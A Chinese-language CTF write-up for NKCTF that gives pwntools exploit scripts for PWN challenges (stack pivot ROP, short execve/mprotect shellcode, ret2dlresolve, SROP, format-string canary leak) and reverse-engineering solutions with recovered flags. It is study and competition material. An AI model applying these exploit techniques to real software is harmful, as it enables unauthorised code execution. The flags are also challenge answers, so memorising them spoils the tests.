[TOC]
PWN
a_story_of_a_pwner
- 前三个函数依次往bss段上写入8个字节,且写入的地址是连续的
- heart函数存在漏洞可以直接输出puts函数的地址,且存在栈溢出,但是只能溢出到ret_addr
栈迁移+ROP:
- 利用heart函数泄漏出puts函数地址,从而泄漏libc
- 利用前三个函数向bss段上布置好ROP链:pop_rdi_ret;binsh;system.
- 最后再利用heart函数栈迁移到bss
exp:
from pwn import *
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def cmd(index):
io.sendlineafter(b'> \n', str(index).encode())
def acm(data):
cmd(1)
io.sendafter(b"what's your comment?\n", data)
def ctf(data):
cmd(2)
io.sendafter(b"what's your corment?\n", data)
def love(data):
cmd(3)
io.sendafter(b"what's your corMenT?\n", data)
def heart(data=b'deadbeef', flag=False):
cmd(4)
if flag:
io.sendafter(b"now, come and read my heart...\n", data)
heart()
io.recvuntil(b' see this. ')
puts_addr = int(io.recvuntil(b'\n', drop=True), 16)
print("puts_addr:", hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = 0x401573
leave_ret = 0x040139e
ctf(p64(pop_rdi_ret))
acm(p64(binsh))
love(p64(system))
bss = 0x4050A0
payload = b'A'*0xA + p64(bss-8) + p64(leave_ret)
heart(payload, True)
io.interactive()
ezshellocde
- 漏洞见图
1、cdll模拟
2、nop滑块
exp:
from pwn import *
from ctypes import *
context.binary = "./pwn"
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
v6 = dll.rand() % 100 + 1
shellcode = asm(shellcraft.sh())
#cdll模拟
#payload = b'A'*v6 + shellcode
#nop滑块
payload = b'\x90'*100 + shellcode
print(len(shellcode))
io.sendafter(b'min!\n', payload)
io.interactive()
9961code
- shellcode长度限制小于0x16
可以看到最后的JUMPOUT逻辑,r15的值就是0x9961000
exp1:
- shellocde长度小于0x16
from pwn import *
context.binary = './pwn'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
#长度为15个字节
shellcode = '''
mov edi, 0x996100F
xor esi, esi
xor edx, edx
mov al, 59
xor ah, ah
syscall
'''
"""
#长度只有14个字节
shellcode = '''
lea edi, [r15+0xe]
xor esi, esi
xor edx, edx
mov ax, 59
syscall
'''
"""
print(len(asm(shellcode)))
#shellcode 长度为15个字节 而'/bin/sh' 7个字节,刚刚好0x16=22个字节,第二个shellcode只有14个字节
#shllcode 15个字节,所以'/bin/sh'相对于0x9961000偏移为15
#所以'/bin/sh'的地址为0x996100F
#所以shellcode中 edi为0x996100F
#第二个edi = r15 + 0xE是因为第二个shellocde只有14=0xE个字节
payload = asm(shellcode) + b'/bin/sh'
io.sendafter(b'shellcode!\n\n', payload)
io.interactive()
exp2:
- 调用一次mprotect函数将0x9961000的权限改回rwx,然后在写入shellcode
from pwn import *
context.binary = './pwn'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
#长度刚刚好22捏
shellcode1 = '''
mov rdi, r15 /*由上面分析可知,r15里面的值就是0x9961000;这里也可以用shl edi,12;这里因为由上图可知rdi的值为0x9961*/
xor eax, eax
cdq /*cdp指令会把edx的所以位全部赋值为eax的最高位*/
mov al, 10 /*mprotect的系统调用号*/
mov dl, 7 /*rwx = 7,权限为rwx*/
syscall /*调用mprotect函数,将0x9961000处的权限重新赋为rwx,由上图可知rsi的值为0x9961,所以这里不再对rsi赋值*/
xor eax, eax /*rax=0,read函数的系统调研号*/
mov esi, edi /*rdi=r15,这里我们直接从0x9961000开始写*/
mov edi, eax /*标准输入*/
mov dl, 0x50 /*输入大小0x50*/
syscall
'''
#execv(binsh, 0, 0)
shellcode2 = '''
mov rsp, rsi /* rsp =rsi = r15 = 0x996100, 把栈移动到我能可写的地方*/
add rsp, 0x100 /*把栈往下移一下,以免我们写入的/bin/sh\x00字符串将代码覆盖了*/
xor rsi, rsi /*rsi = 0*/
xor edx, edx /*rdx = 0*/
push 0
mov rbx, 0x68732f2f6e69622f
push rbx /*写入/bin/sh\x00*/
mov rdi, rsp /*rdi = rsp = binsh*/
mov al, 59 /*execv系统调用号*/
xor ah, ah /高8位清0*/
syscall
'''
print(len(asm(shellcode1)))
print(len(asm(shellcode2)))
io.sendafter(b'shellcode!\n\n', asm(shellcode1))
#因为之前的shellcode长度为0x16个字节,所以程序执行流在0x9961000 + 0x16处
#所以我们需要先填充0x16个字节,这里填什么都无所谓,'\x90'对应的指令是nop
payload = b'\x90'*0x16 + asm(shellcode2)
io.send(payload)
io.interactive()
官方解答:
- 利用xmm6中存放的是libc中的地址,进而泄露出libc地址,然而进行ROP
没搞懂,官方解也没打通,以后在补吧>_>
only_read
这题只有一个read函数(溢出字长很大,本来我还想打ret2csu的,但是没办法泄漏libc>_<)
看了下笔记,标准的ret2dlresolve,模板题就加了个base64>_<。
64位ret2dlresolve
from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
s1 = b"V2VsY29tZSB0byBOS0NURiE="
s2 = b"dGVsbCB5b3UgYSBzZWNyZXQ6"
s3 = b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
s4 = b"Y2FuIHlvdSBmaW5kIG1lPw=="
io.send(s1)
sleep(0.01)
io.send(s2)
sleep(0.01)
io.send(s3)
sleep(0.01)
io.send(s4)
sleep(0.01)
def csu():
payload = b'A'*0x38 + p64(0x40167A)
payload += p64(0) + p64(1)
payload += p64(rdi) + p64(rsi) + p64(rdx) + p64(func)
payload += p64(0x401660)
payload += p64(0)*7
payload += p64(ret_addr)
return payload
bss = elf.bss()
vuln = elf.symbols['next']
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi = 0x0000000000401683 #: pop rdi ; ret
pop_rsi = 0x0000000000401681 #: pop rsi ; pop r15 ; ret
l_addr = libc.symbols['system'] - libc.symbols['read']
r_offset = bss + l_addr * -1
if l_addr < 0:
l_addr += 0x10000000000000000
plt0 = 0x401026
dynstr = 0x4004D8
fake_link_map_addr = bss + 0x100
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8)
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)
fake_rel = p64(r_offset) + p64(0x7) + p64(0)
fake_link_map = p64(l_addr)
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_dyn_strtab_addr)
fake_link_map += p64(fake_dyn_symtab_addr)
fake_link_map += b'/bin/sh'.ljust(0x80, b'\x00')
fake_link_map += p64(fake_dyn_rel_addr)
payload = b'A'*0x38 + p64(pop_rsi) + p64(bss+0x100) + p64(0)
payload += p64(pop_rdi) + p64(0) + p64(read_plt) + p64(vuln)
io.send(payload)
sleep(0.01)
io.send(fake_link_map)
sleep(0.01)
rop = b'A'*0x38 + p64(pop_rdi) + p64(fake_link_map_addr+0x78)
rop += p64(plt0) + p64(fake_link_map_addr) + p64(0)
io.send(rop)
io.interactive()
这里看了下KingKi1L3r大佬的做法,只能说秒,太妙了>_<
但是很可惜我没有打通,并且本地调试出来也跟他不一样,可以环境不一样吧)(
利用__do_global_dtors_aux
这个函数将read的got表改成了onegadget(libc->2.31,9.9)
在这里它会把ebx+[rbp-0x3d]
的值给rbp-0x3d
我们将ebx设置为onegadget-read
,rbp设置为read+0x3d
,这样执行完就把read的got表改为onegadget,然后执行read即可。
from pwn import *
r=process('./pwn')
#r=remote('node2.yuzhian.com.cn',30427)
elf=ELF('./pwn')
pop6=0x40167a
change_read=0x40117c
read_got=elf.got['read']
offset=0xFFFFFFFFFFFD5B3E
r.send('V2VsY29tZSB0byBOS0NURiE=')
r.send('dGVsbCB5b3UgYSBzZWNyZXQ6')
r.send('SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45')
r.send('Y2FuIHlvdSBmaW5kIG1lPw==')
payload=b"a"*48+p64(read_got+0x3d)+p64(pop6)+p64(offset)+p64(read_got+0x3d)
payload+=p64(0)*4+p64(change_read)+p64(0x040146E)
gdb.attach(r)
r.sendline(payload)
r.interactive()
bytedance(待复现)
ez_stack
- srop板子题,没啥好说的
from pwn import *
context.binary = "./pwn"
context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
binsh = 0x404040
sig_ret = 0x401146
syscall_ret = 0x4011EE
write_binsh = b'A'*0x10 + b'deadbeef' + p64(0x4011C8)
io.sendafter(b'NKCTF!\n', write_binsh)
io.send(b'/bin/sh\x00')
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = b'A'*0x10 + b'deadbeef' + p64(sig_ret) + p64(syscall_ret) + bytes(frame)
io.send(payload)
io.interactive()
baby_rop
- 格式化字符串泄漏canary
- my_read存在off by null漏洞,可以覆盖rbp低字节为0
- call vuln后有一个leave,而vuln自己也有leave;ret;所以这里两次leave 存在栈迁移;但这里栈迁移是随机的,它会迁移到更低的栈地址,所以看运气了;我们在payload前面布置ret,让它往下滑
先泄漏libc
然后rop就行,
from pwn import *
context.binary = "./pwn"
#context.log_level = 'debug'
elf = ELF("./pwn")
libc = elf.libc
pop_rdi = 0x0000000000401413
ret = 0x000000000040101a
main = elf.symbols['main']
vuln = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
def exp():
io = process("./pwn")
#泄漏canary
payload = b"%41$p"
io.sendlineafter(b'name: ', payload)
io.recvuntil(b'Hello, ')
canary = int(io.recvuntil(b'What', drop=True), 16)
print('canary:', hex(canary))
#泄漏libc
leak = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload = p64(ret)*27 + leak + p64(canary)
print(len(payload))
io.sendafter(b'NKCTF: \n', payload)
io.recvuntil(b'carefully.\n')
puts_addr = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00'))
print('pust_addr:', hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
#泄漏canary
payload = b'%41$p'
io.sendlineafter(b'name: ', payload)
io.recvuntil(b'Hello, ')
canary = int(io.recvuntil(b'What', drop=True), 16)
print('canary:', hex(canary))
#get shell
shell = p64(pop_rdi) + p64(binsh) + p64(system)
payload = p64(ret)*28 + shell + p64(canary)
print(len(payload))
io.sendafter(b'NKCTF: \n', payload)
io.interactive()
if __name__ == "__main__":
while True:
try:
exp()
except Exception as e:
continue
baby_heap(待复现)
note(待复现)
RE
ez_baby_apk(待复现)
PMKF
- 迷宫题,没啥好说的;只是它把一个字节的每两位当做一步,并且异或的时候只是取的低字节
要多注意变量的类型,是一个字节还是两个字节等待>_<
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include "crypt.h"
#include<Windows.h>
char map[11 * 18] = { '*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*',
'N','.','.','.','*','*','*','*','*','.','.','.','*','.','.','.','.','*',
'*','*','.','*','*','*','*','*','.','.','*','.','.','.','*','*','.','*',
'.','.','.','*','*','*','*','*','.','*','*','*','*','*','.','*','.','*',
'.','*','*','.','.','.','.','*','.','.','*','.','.','.','*','.','.','*',
'.','.','.','.','*','*','.','*','.','*','.','.','*','.','.','.','*','*',
'*','.','*','*','.','.','.','*','.','*','.','*','*','*','*','*','*','*',
'.','.','*','*','*','*','*','.','.','*','.','.','.','.','.','.','*','*',
'.','*','.','.','.','.','.','.','*','*','.','*','*','*','*','.','*','*',
'.','.','.','*','*','*','*','*','.','.','.','*','K','.','.','.','*','*',
'*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*' };
int dir[4] = { -18,1,18,-1 };
int path[11 * 18] = { -1 };
bool visited[11 * 18] = { false };
int ans[16] = { 0 };
bool check(int l) {
if (l < 0 || l >= 11 * 18 || map[l] == '*')
return false;
else
return true;
}
void dfs(int l, int path[], int len) {
if (map[l] == 'K') {
for (int i = 0; i < len;) {
int tmp = (path[i] << 6) | (path[i + 1] << 4) | (path[i + 2] << 2) | (path[i + 3]);
ans[i / 4] = tmp;
printf("%x ", tmp);
i += 4;
}
return;
}
for (int i = 0; i < 4; i++) {
int tmp = l + dir[i];
if (check(tmp) && !visited[tmp]) {
visited[tmp] = true;
path[len] = i;
dfs(tmp, path, len+1);
visited[tmp] = false;
}
}
}
const char* head = "5nkman";
int sum = 0;
int main(int argc, char *argv[]) {
dfs(18, path, 0);
for (int i = 1; i < 6; i++) {
sum += head[i];
}
printf("\n%d", sum);
printf("\n%d", (char)sum);
printf("\nnkctf{05");
for (int i = 1; i < 5; i++) {
printf("%x", head[i]);
}
for (int i = 0; i < 16; i++) {
ans[i] ^= (char)sum;
printf("%x", ans[i]);
}
printf("}");
/*nkctf{056e6b6d614fef7eb0044154700bea9eeb043aa}*/
return 0;
}
earlier
- 静态反调试,花指令,SMC
这题主要考查静态反调试,静态反调试是比较容易过掉的。
程序使用 TLS 来进行反调试,设置了两个 tls 回调函数:
在回调函数 TlsCallback0 中使用 IsDebuggerPresent 函数进行反调试
在回调函数 TlsCallback1 中使用 NtSetInformationThread 和 NtQueryInformationProcess 函数进行反调试
TLS回调函数只会在程序最开始执行一次,属于静态调试技术,所以我们直接 Patch 掉就OK了
- 程序中使用了花指令,我们使用脚本去除
程序实现了一个类似SMC的功能,程序会先运行一段解密函数对相关指令进行解密,然后执行指令,最后在返回前在对指令进行加密。(这里直接说对指令进行加解密,是因为在计算机中指令和数据都是一堆01而以,没有本质区别;主要看CPU把它们当做神马)
程序分析
反调试部分
可以看到第一个TLS回调函数反汇编失败,多半有花指令;查看汇编代码
通过汇编代码,我们可以看出确实存在花指令,并且可以在多处找到该类型的花指令,所以我们直接用脚本去除
去花脚本:
import idc
import idautils
def Nop(curaddr, endaddr):
while curaddr < endaddr:
patch_byte(curaddr, 0x90)
curaddr += 1
pattern = "33 C0 85 C0 74 03 75 00 E8"
cur_addr = 0x401000
end_addr = 0x405000
while cur_addr < end_addr:
cur_addr = idc.find_binary(cur_addr, SEARCH_DOWN, pattern)
print("patch address:" + str(cur_addr))
if cur_addr == idc.BADADDR:
break
else:
my_nop(cur_addr, cur_addr + 9)
cur_addr = idc.next_head(cur_addr)
去除花指令后,我们可以看到反调试逻辑:IsDebuggerPresent 函数进行反调试,直接 Patch 掉
第二个TLS回调函数同理
main函数
我们进入 main 函数:万蓝千红一顿愁,三个函数依次看看
sub_40107D函数
进入sub_40107D函数,然后我们会跟到 loc_91CB0 位置;我们可以看到在调用 sub_911C2 函数之前的汇编代码都很正常,但是后面的汇编代码是什么鬼东西???所以这里我们跟进 sub_911C2 看看
sub_911C2函数
我们跟进sub_911C2函数,最后会跟到 sub_91EB0 函数;在 sub_91EB0 中调用了 runToHere.dll 中的两个函数。所以我们看下 dll 中这两个函数的作用。
fnGetHere 和 fnrunToHere 函数的功能如下:那么其实 sub_91EB0的作用就很明显了,其实就是对某段地址指令进行异或运算,其实就是实现SMC的效果
动态调试
其实 main 函数中的三个函数都调用了sub_911C2函数
这里加解密算法都很简单,你可以把加密的指令 dump 出来,然后自己解密;这里直接动态调试来看下 main 中的三个函数:sub_40107D、sub_401203、sub_401258的功能
sub_40107D:这个函数会提示并获取我们输入,并检查输入的字符串长度是否为42,不是则直接退出程序,可以自己调一下。
我们重点看**sub_401203 **这个函数:我们把断点下在该函数处:输入123456712345671234567123456712345671234567
经过sub_911C2函数对指令解密后,我们对后面的指令重新编译,可以看到其逻辑非常清晰
这里我的IDA没有办法搞出伪代码,所以我手写了一下这段代码大致的意思(汇编水平有限,但说实话仔细分析其实也很简单):
其实就是对我们输入的数据进行rc4加解密,然后放入data中;其中key就是’secret’
#include <stdio.h>
#include <stdlib.h>
void loc_91A67(){
char *s = "secret";
char *input = "123456712345671234567123456712345671234567";
char buf[0x100];
memset(buf, 0, 0x100);
int len1 = strlen(s);
int len2 = strlen(input);
for(int i=0; i<len2; i++){
buf[i] = input[i];
}
char *data[42]; //保存input加密后的数据
rc4(s,len1,input,len2,data);
}
sub_401258:这个函数其实就是在对加解密后的data进行判断
同样我的IDA无法搞出伪代码,所以自己写了一下这段代码大致意思
#include <stdio.h>
#include <stdlib.h>
int sub_401258(){
char c[42] = {0x83, 0x5D, 0xB1, 0x68, 0xE4, 0xDF, 0xAF, 0x96, 0x47, 0x94,
0xDA, 0xAE, 0x96, 0xB9, 0x86, 0x58, 0xF2, 0x54, 0x1E, 0x87,
0xF5, 0x96, 0xB6, 0x03, 0x16, 0x4C, 0x06, 0xB8, 0xBE, 0x0F,
0x37, 0x6A, 0xD8, 0xA6, 0x7A, 0xED, 0xA5, 0x73, 0x4A, 0xBE,
0x6B, 0xAC, 0x00};
int len = strlen(c);
char *fail = "something must be wrong!";
char *sucess = "you got it!";
//data为上面加解密后的字符串
int res = memcmp(data, c, len);
if(res == 0){
puts(sucess);
} else {
puts(fail);
}
}
所以其实很简单,就是一个rc4加密算法,所以对c进行rc4解密就行啦:flag:nkctf{y0u_are_so_clever_f0r_debug_enc0de!}
这道题挺好的,因为后面我的IDA不能搞出伪代码,也是硬着头皮分析汇编;仔细分析每一次跳转,每个判断,最后发现其实也不是很难